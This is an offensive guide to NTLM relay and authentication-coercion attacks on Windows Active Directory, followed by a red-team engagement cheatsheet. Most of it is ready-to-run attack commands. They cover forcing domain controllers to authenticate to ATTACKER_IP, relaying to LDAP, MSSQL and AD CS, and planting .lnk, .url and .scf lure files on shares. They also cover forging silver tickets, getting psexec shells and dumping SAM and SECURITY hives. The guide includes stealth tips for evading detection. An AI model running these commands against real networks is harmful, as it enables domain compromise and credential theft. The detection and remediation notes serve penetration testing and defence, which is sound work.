Skip to content

NTLM Relay Attacks Comprehensive Guide

Overview

NTLM Relay Attack Fundamentals

NTLM relay is an Adversary-in-the-Middle (AiTM) attack exploiting the lack of mutual authentication in NTLM:

  • No Mutual Authentication: Clients cannot verify server legitimacy
  • Session Hijacking: Establish authenticated sessions using relayed credentials
  • Cross-Protocol Relay: Extract NTLM from one protocol, embed in another
  • No Password Required: Relay authentication without knowing credentials
  • Post-Relay Exploitation: Perform actions after establishing authenticated session

Authentication Coercion Techniques

PrinterBug (MS-RPRN)

PrinterBug Overview

Abuses Print Spooler service (MS-RPRN) to force authentication. Works on most Windows systems as Print Spooler is enabled by default.

Enumeration

# Check if Print Spooler is running
rpcclient -U "" -N $DC_IP -c "enumprinters"

# Check with crackmapexec
crackmapexec smb $TARGET_IP -u $USER -p $PASSWORD -M printerbug

Exploitation

# Basic SMB coercion
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP

# With hash authentication
python3 printerbug.py $DOMAIN/$USER@$TARGET_IP $ATTACKER_IP -hashes :$NTHASH

# HTTP coercion (requires WebDAV)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_NAME@80/print

PetitPotam (MS-EFSR)

PetitPotam Overview

Exploits Encrypting File System Remote Protocol (MS-EFSR) for authentication coercion. More methods than PrinterBug but often requires authentication.

Exploitation

# Authenticated coercion
python3 PetitPotam.py -u $USER -p '$PASSWORD' -d $DOMAIN $ATTACKER_IP $TARGET_IP

# Unauthenticated (if vulnerable)
python3 PetitPotam.py $ATTACKER_IP $TARGET_IP

# HTTP coercion with WebDAV
python3 PetitPotam.py -u $USER -p '$PASSWORD' -d $DOMAIN $ATTACKER_NAME@80/files $TARGET_IP

Coercer (Multi-Protocol)

Coercer Overview

Comprehensive tool testing 17 different coercion methods across multiple protocols.

Exploitation

# Scan for vulnerable methods
python3 Coercer.py scan -t $TARGET_IP -u $USER -p '$PASSWORD' -d $DOMAIN -v

# Execute all coercion methods
python3 Coercer.py coerce -t $TARGET_IP -l $ATTACKER_IP -u $USER -p '$PASSWORD' -d $DOMAIN --always-continue

# HTTP coercion (Coercer v1.6+)
python3 Coercer.py -t $TARGET_IP -u $USER -p '$PASSWORD' -wh $ATTACKER_NAME -wp 80 -v

WebDAV Coercion

WebDAV Overview

Forces authentication over HTTP using WebClient service and searchConnector files.

Enable WebDAV

# Check WebDAV status
crackmapexec smb $TARGET_NETWORK -u $USER -p '$PASSWORD' -M webdav

# Deploy searchConnector to enable WebClient
cat > @search.searchConnector-ms << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://$ATTACKER_IP/</url>
    </simpleLocation>
</searchConnectorDescription>
EOF

# Upload to share
smbclient //$TARGET_IP/$SHARE -U $USER%'$PASSWORD' -c "put @search.searchConnector-ms"

# Or use crackmapexec module
crackmapexec smb $TARGET_IP -u $USER -p '$PASSWORD' -M drop-sc \
  -o URL=https://$ATTACKER_IP/test SHARE=$SHARE FILENAME=@search

Trigger WebDAV Authentication

# From target machine (if you have RCE)
certutil -urlcache -f http://$ATTACKER_IP:8080/@test.searchConnector-ms @test.searchConnector-ms

# Or browse to share containing searchConnector file
# User navigates to \\$TARGET\$SHARE\ and WebClient activates

MSSQL Coercion

MSSQL xp_dirtree Overview

Force SQL Server to authenticate via SMB using directory traversal stored procedures.

Exploitation

-- Connect to MSSQL
mssqlclient.py $SQL_USER:'$SQL_PASSWORD'@$SQL_SERVER

-- Force SMB authentication
SQL> EXEC xp_dirtree '\\$ATTACKER_IP\share', 1, 1;

-- Alternative methods
SQL> EXEC xp_fileexist '\\$ATTACKER_IP\share\file.txt';
SQL> EXEC xp_subdirs '\\$ATTACKER_IP\share';

Cross-Protocol Relay Attacks

SMB to LDAP Relay

SMB → LDAP for Domain Escalation

Relay SMB authentication to LDAP for domain enumeration, user creation, or privilege escalation.

Prerequisites

  • SMB signing disabled on source
  • LDAP signing not enforced
  • Valid domain credentials for coercion

Exploitation

# Terminal 1: Start relay to LDAP
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --no-da --no-acl --no-dump

# Domain enumeration (safe)
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --no-da --no-acl --no-dump --lootdir ldap_dump

# Create computer account
sudo ntlmrelayx.py -t ldaps://$DC_IP -smb2support --add-computer 'EVIL$' 'Password123!' --no-dump --no-acl

# Escalate user privileges
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --escalate-user '$USER' --no-dump

# Terminal 2: Trigger authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP

HTTP to LDAP Relay (Shadow Credentials)

HTTP → LDAP Shadow Credentials Attack

Relay HTTP authentication to LDAP to set shadow credentials for passwordless authentication.

Exploitation

# Terminal 1: Configure Responder (disable HTTP/SMB)
sed -i 's/HTTP = On/HTTP = Off/g' Responder.conf
sed -i 's/SMB = On/SMB = Off/g' Responder.conf

# Terminal 2: Start ntlmrelayx for shadow credentials
sudo ntlmrelayx.py -t ldap://$DC_IP --shadow-credentials --shadow-target $TARGET_USER --no-dump --no-acl

# Terminal 3: Start Responder
sudo python3 Responder.py -I $INTERFACE

# Terminal 4: Coerce HTTP authentication (if WebDAV enabled)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_NAME@80/print

# After successful relay, use the certificate
python3 gettgtpkinit.py -cert-pfx $TARGET_USER.pfx -pfx-pass $CERT_PASSWORD \
  $DOMAIN/$TARGET_USER $TARGET_USER.ccache

# Get NTLM hash
KRB5CCNAME=$TARGET_USER.ccache python3 getnthash.py -key $AS_REP_KEY $DOMAIN/$TARGET_USER

SMB to MSSQL Relay

SMB → MSSQL for Database Access

Relay SMB authentication to MSSQL for database access and command execution.

Exploitation

# Terminal 1: Start relay with SOCKS
sudo ntlmrelayx.py -t mssql://$SQL_SERVER -smb2support -socks

# Terminal 2: Trigger SMB authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_IP $ATTACKER_IP

# Terminal 3: Use SOCKS proxy
proxychains4 -q mssqlclient.py $DOMAIN/$USER@$SQL_SERVER -windows-auth -no-pass

# Execute commands if sysadmin
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

AD CS Relay Attacks (ESC8 & ESC11)

ESC8 - HTTP Relay to Web Enrollment

ESC8 Overview

Relay NTLM authentication to AD CS web enrollment endpoints to obtain certificates for machine accounts.

Enumeration

# Find AD CS servers
crackmapexec ldap $DC_NETWORK -u $USER -p '$PASSWORD' -M adcs

# List certificates and check for ESC8
certipy find -enabled -u $USER@$DC_IP -p '$PASSWORD' -stdout

# Check web enrollment accepts NTLM
curl -I http://$CA_SERVER/certsrv/
# Look for: WWW-Authenticate: NTLM

Exploitation Method 1: ntlmrelayx

# Terminal 1: Setup relay to web enrollment
sudo ntlmrelayx.py -t http://$CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template Machine

# Terminal 2: Coerce authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP

# Process the base64 certificate
echo -n "$BASE64_CERT" | base64 -d > $TARGET_COMPUTER.pfx

# Request TGT using certificate
python3 gettgtpkinit.py -dc-ip $DC_IP -cert-pfx $TARGET_COMPUTER.pfx \
  $DOMAIN/$TARGET_COMPUTER$ $TARGET_COMPUTER.ccache
# Note the AS-REP encryption key

# Extract NT hash from TGT
KRB5CCNAME=$TARGET_COMPUTER.ccache python3 getnthash.py \
  $DOMAIN/$TARGET_COMPUTER$ -key $AS_REP_KEY

Exploitation Method 2: Certipy (Simplified)

# Terminal 1: Setup relay (as root)
sudo certipy relay -target "http://$CA_SERVER" -template Machine

# Terminal 2: Coerce authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP

# Extract NT hash directly
certipy auth -pfx $TARGET_COMPUTER.pfx -dc-ip $DC_IP
# Output: aad3b435b51404eeaad3b435b51404ee:$NT_HASH

Post-Exploitation: Silver Ticket Attack

# Get domain SID
lookupsid.py $DOMAIN/$TARGET_COMPUTER$@$DC_IP -hashes :$NT_HASH
# Example: S-1-5-21-1207890233-375443991-2397730614

# Forge silver ticket for Administrator
ticketer.py -nthash $NT_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN_FQDN \
  -spn cifs/$TARGET_COMPUTER.$DOMAIN_FQDN Administrator

# Use ticket to access target
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass $TARGET_COMPUTER.$DOMAIN_FQDN

# Get flag or perform actions
C:\> type C:\Users\Administrator\Desktop\flag.txt

ESC11 - RPC Relay to ICPR Endpoints

ESC11 Overview

Exploits ICertPassage Remote Protocol when encryption is not enforced, allowing relay over RPC.

Enumeration

# Check for ESC11 vulnerability
certipy find -enabled -u $USER@$DC_IP -p '$PASSWORD' -stdout
# Look for: "ESC11: Encryption is not enforced for ICPR requests"

Exploitation

# Terminal 1: Setup relay to RPC/ICPR endpoint
sudo certipy relay -target "rpc://$CA_SERVER" -ca "$CA_NAME"

# Terminal 2: Coerce authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP

# Extract NT hash from certificate
certipy auth -pfx $TARGET_COMPUTER.pfx -dc-ip $DC_IP

# Continue with silver ticket attack (same as ESC8)

Resource-Based Constrained Delegation (RBCD)

Overview

RBCD Attack Fundamentals

Abuse computer account creation and delegation to compromise high-value targets.

RBCD Attack Chain

# Check MachineAccountQuota
crackmapexec ldap $DC_IP -u $USER -p '$PASSWORD' -M maq

# Method 1: Create computer account via relay
# Terminal 1: Start relay
sudo ntlmrelayx.py -t ldaps://$DC_IP --add-computer 'EVIL$' 'Password123!' --no-dump

# Terminal 2: Trigger authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET $ATTACKER_IP

# Method 2: Direct creation (if MAQ > 0)
impacket-addcomputer -dc-ip $DC_IP -computer-name 'EVIL$' \
  -computer-pass 'Password123!' $DOMAIN/$USER:'$PASSWORD'

# Configure RBCD
impacket-rbcd $DOMAIN/$USER:'$PASSWORD' -delegate-to '$TARGET_COMPUTER$' \
  -delegate-from 'EVIL$' -action write -dc-ip $DC_IP

# Request service ticket
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator \
  -dc-ip $DC_IP $DOMAIN/'EVIL$':'Password123!'

# Use ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN

SOCKS Proxy Relay

Overview

SOCKS Proxy Benefits

Maintain authenticated sessions indefinitely for multiple attacks without re-exploitation.

SOCKS Configuration

# Terminal 1: Start relay with SOCKS
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks

# Terminal 2: Configure proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf

# Terminal 3: Trigger authentication
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET $ATTACKER_IP

# Terminal 4: Use authenticated sessions
# Check active sessions
ntlmrelayx> socks

# Use sessions through proxychains
proxychains4 -q smbexec.py $DOMAIN/$USER@$TARGET -no-pass
proxychains4 -q mssqlclient.py $DOMAIN/$USER@$SQL_SERVER -windows-auth -no-pass
proxychains4 -q secretsdump.py $DOMAIN/$USER@$TARGET -no-pass

Responder Poisoning

Overview

LLMNR/NBT-NS/mDNS Poisoning

Poison name resolution protocols to capture authentication attempts.

Poisoning Attacks

# Analyze mode (reconnaissance)
sudo python3 Responder.py -I $INTERFACE -A

# Full poisoning mode
sudo python3 Responder.py -I $INTERFACE

# Poisoning with relay (disable SMB/HTTP)
sed -i 's/SMB = On/SMB = Off/g' Responder.conf
sed -i 's/HTTP = On/HTTP = Off/g' Responder.conf
sudo python3 Responder.py -I $INTERFACE

# Start relay in another terminal
sudo ntlmrelayx.py -t ldap://$DC_IP -smb2support --escalate-user $USER

Hash Farming Techniques

SMB Share Poisoning

Malicious File Deployment

Deploy files that trigger authentication when accessed.

Create Malicious Files

# Generate all file types
python3 ntlm_theft.py -g all -s $ATTACKER_IP -f '@capture'

# Create custom .lnk file
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("@capture.lnk")
$Shortcut.TargetPath = "\\$ATTACKER_IP\share"
$Shortcut.IconLocation = "\\$ATTACKER_IP\icon"
$Shortcut.Save()

# Create .url file
cat > @capture.url << EOF
[InternetShortcut]
URL=file://$ATTACKER_IP/share
IconFile=\\$ATTACKER_IP\icon.ico
IconIndex=0
EOF

# Create .scf file
cat > @capture.scf << EOF
[Shell]
Command=2
IconFile=\\$ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop
EOF

Deploy to Shares

# Find writable shares
crackmapexec smb $TARGET_NETWORK -u $USER -p '$PASSWORD' --shares -M write_test

# Upload malicious files
smbclient //$TARGET_IP/$SHARE -U $USER%'$PASSWORD' \
  -c "put @capture.lnk; put @capture.url; put @capture.scf"

# Monitor for captures
sudo responder -I $INTERFACE -v

Tool Configuration

Required Tools Installation

# Responder
git clone https://github.com/lgandx/Responder

# Impacket suite
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

# Certipy
pip3 install certipy-ad

# PKINITtools
git clone https://github.com/dirkjanm/PKINITtools

# Coercer
git clone https://github.com/p0dalirius/Coercer

# PetitPotam
git clone https://github.com/topotam/PetitPotam

# PrinterBug
wget https://raw.githubusercontent.com/dirkjanm/krbrelayx/master/printerbug.py

# ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft

Attack Decision Matrix

Quick Attack Selection Guide

Source Protocol Target Service Attack Type Requirements Impact
SMB SMB Direct Relay No signing System access
SMB LDAP Privilege Escalation No LDAP signing Domain escalation
HTTP LDAP Shadow Credentials WebDAV enabled Persistence
SMB/HTTP AD CS ESC8/ESC11 Web enrollment Certificate theft
SMB MSSQL Database Access Windows auth Data access
Any Multiple SOCKS Proxy Valid relay Session persistence

OPSEC Considerations

Detection Indicators

High-Risk Events:

  • Event 4624: Type 3 logons from same source
  • Event 4625: Multiple failed authentications
  • Event 4697: Service installation (Responder)
  • Event 4662: DCSync operations
  • Event 4886/4887: Certificate enrollment

Stealth Tips:

  • Use analyze mode before poisoning
  • Target specific hosts vs broadcast
  • Operate during business hours
  • Use SOCKS to minimize re-exploitation
  • Clean up created accounts

Complete Attack Walkthrough Example

Scenario: Compromise DC via AD CS Relay

# Step 1: Enumerate AD CS
certipy find -enabled -u $USER@$DC_IP -p '$PASSWORD' -stdout
# Found: ESC8 and ESC11 vulnerabilities

# Step 2: Setup relay (Terminal 1)
sudo certipy relay -target "http://$CA_SERVER" -template Machine

# Step 3: Coerce authentication (Terminal 2)
python3 printerbug.py $DOMAIN/$USER:'$PASSWORD'@$TARGET_COMPUTER $ATTACKER_IP

# Step 4: Process certificate
certipy auth -pfx $TARGET_COMPUTER.pfx -dc-ip $DC_IP
# Got hash: aad3b435b51404eeaad3b435b51404ee:$NT_HASH

# Step 5: Get domain SID
lookupsid.py $DOMAIN/$TARGET_COMPUTER$@$DC_IP -hashes :$NT_HASH
# Domain SID: S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX

# Step 6: Create silver ticket
ticketer.py -nthash $NT_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN_FQDN \
  -spn cifs/$TARGET_COMPUTER.$DOMAIN_FQDN Administrator

# Step 7: Get shell
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass $TARGET_COMPUTER.$DOMAIN_FQDN

# Step 8: Dump domain
C:\> reg save HKLM\SYSTEM system.hive
C:\> reg save HKLM\SECURITY security.hive
C:\> reg save HKLM\SAM sam.hive

Best Practices

Attack Methodology

Enumerate First

  • Check SMB signing status
  • Identify AD CS configuration
  • Find WebDAV enabled hosts
  • Test coercion methods

Choose Attack Path

  • Prefer cross-protocol for bypassing restrictions
  • Use SOCKS for persistent access
  • Target high-value accounts

Execute Cleanly

  • Disable unnecessary Responder servers
  • Use targeted poisoning
  • Monitor for defensive responses

Maintain Access

  • Use shadow credentials for persistence
  • Keep SOCKS sessions active
  • Document all compromised systems

Pro Tips

  • Always check for WebDAV before HTTP coercion
  • Use SOCKS proxy to minimize detection
  • Combine relay with RBCD for flexibility
  • Target computer accounts for ESC8/ESC11
  • Monitor certificate enrollment logs
  • Use proxychains for all post-exploitation
  • Keep detailed logs for reporting
  • Test coercion methods in order of stealth
  • Clean up created accounts and certificates
  • Document the full attack chain

References


Authentication Coercion & NTLM Relay — Cheatsheet

Purpose: Force a target (usually a DC) to NTLM-authenticate to your box, then relay that auth to a privileged service (LDAP/LDAPS for RBCD/shadow-cred, ADCS web for ESC8) to gain a takeover primitive without cracking anything.

Prereqs / context: Linux-first, domain-joined operator box (<ATTACKER_HOST> / machine acct <ATTACKER_HOST>$, IP <ATTACKER_IP>). Coercion needs any valid domain creds (<USER>:<USER_PW> — pick the account whose realm matches the target DC). Relay needs a relay target that does NOT enforce signing / channel binding — that is the entire win condition, and it is target-side. Tooling pinned to a known-good Impacket (engagement ran v0.14.0.dev0), coercer, certipy, netexec.


0. Pre-flight: does the relay even have a chance? (check the precondition FIRST)

Relay only works where the target service does not enforce signing / EPA. Triage before you coerce anything — otherwise you generate loud DC→operator callbacks for a relay that can never land.

nxc ldap <DC_IP> -u <USER> -p <USER_PW> -M ldap-checker                              # LDAP signing + channel binding (LDAPS/EPA) status on the DC — the make-or-break for LDAPS relay
nxc smb <DC_IP>/24 -u <USER> -p <USER_PW> --gen-relay-list /tmp/relayable.txt         # enumerate hosts with SMB signing NOT required (SMB then SMB relay candidates)
certipy find -k -target <DC_FQDN> -stdout -vulnerable                                 # is ADCS web enrollment (ESC8) present? look for "Web Enrollment : Enabled"
curl -s -o /dev/null -w '%{http_code}\n' http://<CA_HOST>/certsrv/certfnsh.asp        # ESC8 reachability probe; connection refused / 404 == web enroll disabled == no ESC8

A bind failing with Failed to bind to LDAP. LDAP channel binding or signing is required. Use -scheme ldaps is your tell that the LDAPS relay leg will be rejected — see the notes below.


1. Stand up the relay listener (do this BEFORE coercing)

Pick the target/attack to match the primitive you want. Leave it running; coercion in step 2 feeds it.

ntlmrelayx.py -t ldaps://<DC_IP> --remove-mic -smb2support --shadow-credentials -debug -ts | tee /tmp/relay.log   # relay DC machine-auth to LDAPS, add msDS-KeyCredentialLink (shadow cred) then PKINIT. --remove-mic = CVE-2019-1040
ntlmrelayx.py -t ldaps://<DC_IP> --remove-mic -smb2support --delegate-access --escalate-user '<FOOTHOLD>$'         # write RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) on the relayed computer, granting <FOOTHOLD>$ delegation
ntlmrelayx.py -t http://<CA_HOST>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController             # ESC8: relay a coerced DC to ADCS web enroll, get a DC cert then PKINIT (template User/Machine for non-DC victims)
ntlmrelayx.py -tf /tmp/relayable.txt -smb2support -socks                                                          # SMB then SMB to signing-disabled hosts, drop relayed sessions into a SOCKS pool

Useful flags (from ntlmrelayx.py -h): --remove-mic (strip MIC, CVE-2019-1040), --remove-sign-seal, --delegate-access, --escalate-user, --shadow-credentials / --shadow-target, --adcs --template --altname, -i (interactive LDAP/SMB shell on success), -socks, -6 (IPv6), -wh <WPAD_HOST>.


2. Fire the coercion (force the DC to auth back to <ATTACKER_IP>)

One-shot, all vectors — coercer (what the engagement used)

coercer coerce -u <USER> -p <USER_PW> -d <DOMAIN> -t <DC_IP> -l <ATTACKER_IP> --always-continue                                   # spray every method on every reachable RPC interface; --always-continue = don't stop on per-method errors
coercer coerce -u <USER> -p <USER_PW> -d <DOMAIN> -t <DC_IP> -l <ATTACKER_IP> --filter-method-name EfsRpcEncryptFileSrv --always-continue   # surgical: only the EFSR method that fires here (less noise than the full spray)
coercer coerce -k --no-pass -d <DOMAIN> -t <DC_FQDN> -l <ATTACKER_IP> --always-continue                                            # Kerberos variant (uses KRB5CCNAME); use FQDN target so the SPN resolves

Match the account realm to the DC: in a multi-child forest, coerce a <CHILD> DC with a <CHILD> user. Cross-realm password binds get rejected before the trigger.

Per-protocol single-purpose tools (when you want one clean trigger / a different RPC fingerprint)

PetitPotam.py -u <USER> -p <USER_PW> -d <DOMAIN> <ATTACKER_IP> <DC_IP>            # MS-EFSR (\PIPE\efsrpc) EfsRpc* — the classic PetitPotam (CVE-2021-36942)
printerbug.py '<DOMAIN>/<USER>:<USER_PW>@<DC_IP>' <ATTACKER_IP>                   # MS-RPRN (\PIPE\spoolss) RpcRemoteFindFirstPrinterChangeNotificationEx — PrinterBug
dfscoerce.py -u <USER> -p '<USER_PW>' -d <DOMAIN> <ATTACKER_IP> <DC_IP>           # MS-DFSNM (\PIPE\netdfs) NetrDfsAddStdRoot — DFSCoerce
shadowcoerce.py -u <USER> -p '<USER_PW>' -d <DOMAIN> <ATTACKER_IP> <DC_IP>        # MS-FSRVP (\PIPE\FssagentRpc) IsPathSupported/IsPathShadowCopied — ShadowCoerce
coercer coerce -u <USER> -p <USER_PW> -d <DOMAIN> -t <DC_IP> -l <ATTACKER_IP> --filter-method-name ElfrOpenBELW --always-continue   # MS-EVEN (\PIPE\eventlog) ElfrOpenBELW — event-log backup coercion

Always capture the wire so you can prove the source-side trigger fired even when the relay leg dies:

sudo tcpdump -i any -nn "host <DC_IP> and (port 445 or port 135)" -w /tmp/coerce-<DC>.pcap   # DC then operator:445 SMB callback == coercion fired regardless of relay outcome

Coercion vector status (THIS engagement, DCs across <CHILD> domains)

Vector Tool / pipe RPC method Result
MS-EFSR (PetitPotam) \PIPE\efsrpc EfsRpcEncryptFileSrv FIRES — outbound NTLM from DC (live)
MS-EVEN \PIPE\eventlog ElfrOpenBELW FIRES — outbound NTLM from DC (live)
MS-DFSNM (DFSCoerce) \PIPE\netdfs NetrDfsAddStdRoot BLOCKED — NO_AUTH_RECEIVED / SMB_STATUS_PIPE_DISCONNECTED
MS-RPRN (PrinterBug) \PIPE\spoolss RpcRemoteFindFirst… BLOCKED — pipe not accessible (Spooler disabled)
MS-FSRVP (ShadowCoerce) \PIPE\FssagentRpc IsPathSupported BLOCKED — interface unreachable

RPC interface UUIDs for filter rules / detections: EFSR df1941c5-fe89-4e79-bf10-463657acf44d · EVEN 82273fdc-e32a-18c3-3f78-827929dc23ea · DFSNM 4fc742e0-4a10-11cf-8273-00aa004ae673.


3. Cash in a SUCCESSFUL relay (when the target does NOT enforce CB/signing)

# Shadow Credentials: ntlmrelayx --shadow-credentials drops a .pfx + prints the PKINIT line. Then:
certipy auth -pfx <VICTIM>.pfx -dc-ip <DC_IP>                                              # PKINIT with the injected key then TGT + the victim's NT hash (no cracking)
# RBCD: after --delegate-access wrote msDS-AllowedToActOnBehalfOfOtherIdentity on <TARGET>$:
getST.py -spn cifs/<TARGET_FQDN> -impersonate administrator -dc-ip <DC_IP> '<DOMAIN>/<FOOTHOLD>$' -hashes :<NT_HASH>   # S4U2self+proxy then Administrator service ticket
KRB5CCNAME=administrator@cifs_<TARGET_FQDN>@<REALM>.ccache wmiexec.py -k -no-pass <TARGET_FQDN>                         # use the ticket
# ESC8: ntlmrelayx --adcs saves the cert; then certipy auth -pfx <DC>.pfx -dc-ip <DC_IP> then DC TGT then DCSync.

What Went Wrong

  • LDAPS relay FAILED on every child DC — LDAP channel binding/signing is enforced. The path-to-DA (coerce DC-A → relay to DC-B over LDAPS → write msDS-KeyCredentialLink → PKINIT → DCSync) is CLOSED. Coercion fires at the source, the DC→operator SMB callback lands (pcap-confirmed), then the relay leg is rejected. Two observable shapes of the same failure:
  • Clean reject: [-] (SMB): Authenticating against ldaps://<DC_IP> as <CHILD>/<DC>$ FAILED (seen for EU/NA/AP DCs).
  • Crash on the dev build: the LDAPS bind returns no session, then ntlmrelayx throws AttributeError: 'NoneType' object has no attribute 'connection_lock' in clients/ldaprelayclient.py … sendNegotiate. Same root cause (bind rejected by channel binding), uglier symptom. Treat the traceback as "CB enforced," not a tooling bug to chase.
  • certipy/LDAP cross-realm bind error = your CB canary: Failed to bind to LDAP. LDAP channel binding or signing is required. Use -scheme ldaps. If you see this anywhere, assume LDAPS relay to that DC is dead.
  • Coercer per-method output is noisy and misleading. Expect RPC_S_ACCESS_DENIED on some EFSR methods (e.g. EfsRpcAddUsersToFile) while EfsRpcEncryptFileSrv still fires. NO_AUTH_RECEIVED means coercer didn't see auth on its own listener — it does not prove the DC stayed silent. Always cross-check the tcpdump for the DC→<ATTACKER_IP>:445 callback before concluding a vector is dead.
  • DFSCoerce/PrinterBug/ShadowCoerce are patched/disabled here (netdfs returns SMB_STATUS_PIPE_DISCONNECTED; spoolss and FssagentRpc are unreachable). Don't waste cycles; lead with EFSR + EVEN.
  • ESC8 is unavailable — web enrollment disabled on all CAs (certsrv/certfnsh.asp refused; NDES certsrv/mscep/ also Connection refused). No ADCS-web relay target exists, so the relay-to-DA chain has no ESC8 fallback either.
  • Net result: the relay-to-DA chain is CLOSED across the forest. The only residual is the coercion primitive itself (forced DC machine-auth) — valuable solely if a future relay target regresses (a server brought up without SMB signing / LDAP EPA).
  • --remove-mic is mandatory for SMB→LDAP cross-protocol relay (CVE-2019-1040); without it the MIC binds the auth to SMB and the LDAP relay is dropped. It does not help against channel binding — that's a separate, target-side control.

Detection / OPSEC

  • You are loud at the source. Coercion = DC Security 5145 (named-pipe access on \PIPE\efsrpc / \PIPE\eventlog), Sysmon Event 18 (pipe connect) + Event 3 (DC outbound SMB to a non-server endpoint = <ATTACKER_IP>:445), 4624/4776, and Defender for Identity "Suspected forced authentication / NTLM relay." A DC initiating outbound SMB to a workstation IP is the highest-fidelity tell.
  • The engagement box ran no MDE (Rapid7 + Bitdefender + firewalld), but EDRs fingerprint the coercer/ntlmrelayx/PetitPotam.py process and listener patterns directly. Prefer the single-method --filter-method-name trigger over the full spray to cut event volume.
  • Remediation to recommend: D3-RPCF RPC-interface filtering (RPC Firewall) on the EFSR and Eventlog UUIDs; enforce LDAP signing + channel binding (EPA) and SMB signing everywhere (the control that is currently breaking this chain); keep ADCS web enrollment disabled / EPA-enforced if ever re-enabled. (ATT&CK T1187 → T1557.001; D3FEND D3-RPCF, D3-NTA.)

Cleanup

  • Coercion + a failed relay leave no AD-side artifacts (no object was written). Just remove your pcaps (/tmp/coerce-*.pcap, /tmp/v2-*.pcap) and relay logs (/tmp/relay*.log) from the operator box.
  • If a relay succeeded: --shadow-credentials auto-restores the original msDS-KeyCredentialLink (verify with bloodyAD ... get object <VICTIM> --attr msDS-KeyCredentialLink). For --delegate-access, clear the RBCD you wrote: bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <USER_PW> remove rbcd '<TARGET>$' '<FOOTHOLD>$'. Delete any ADCS-issued certs/PFX from loot.

References

  • Coercer — https://github.com/p0dalirius/Coercer
  • Impacket ntlmrelayx / examples — https://github.com/fortra/impacket
  • PetitPotam (MS-EFSR, CVE-2021-36942) — https://github.com/topotam/PetitPotam · MS advisory ADV210003
  • DFSCoerce — https://github.com/Wh04m1001/DFSCoerce · ShadowCoerce — https://github.com/ShutdownRepo/ShadowCoerce · PrinterBug (printerbug.py in impacket / Dementor)
  • Certipy (ESC8 relay + PKINIT) — https://github.com/ly4k/Certipy
  • netexec ldap-checker (LDAP signing/CB) — https://www.netexec.wiki
  • The Hacker Recipes — NTLM relay & forced auth — https://www.thehacker.recipes/a-d/movement/ntlm/relay and /a-d/movement/mitm-and-coerced-authentications

Source files mined (absolute paths): C:\Users\Cezar\Documents\For_Progress\ttp_detection_log.md (Day 1 vector-by-vector results, RPC UUIDs, relay-fail evidence), C:\Users\Cezar\Documents\For_Progress\report_source_inventory.md (F8 coercion residual, phase-1 verdict, timeline 05-18), C:\Users\Cezar\Documents\For_Progress\findings_detailed.md (F7 writeup), and C:\Users\Cezar\Documents\For_Progress\logs\2026-05-18_*.log (exact coercer/ntlmrelayx invocations, Authenticating … FAILED lines, the connection_lock traceback, NO_AUTH_RECEIVED/SMB_STATUS_PIPE_DISCONNECTED per-method output).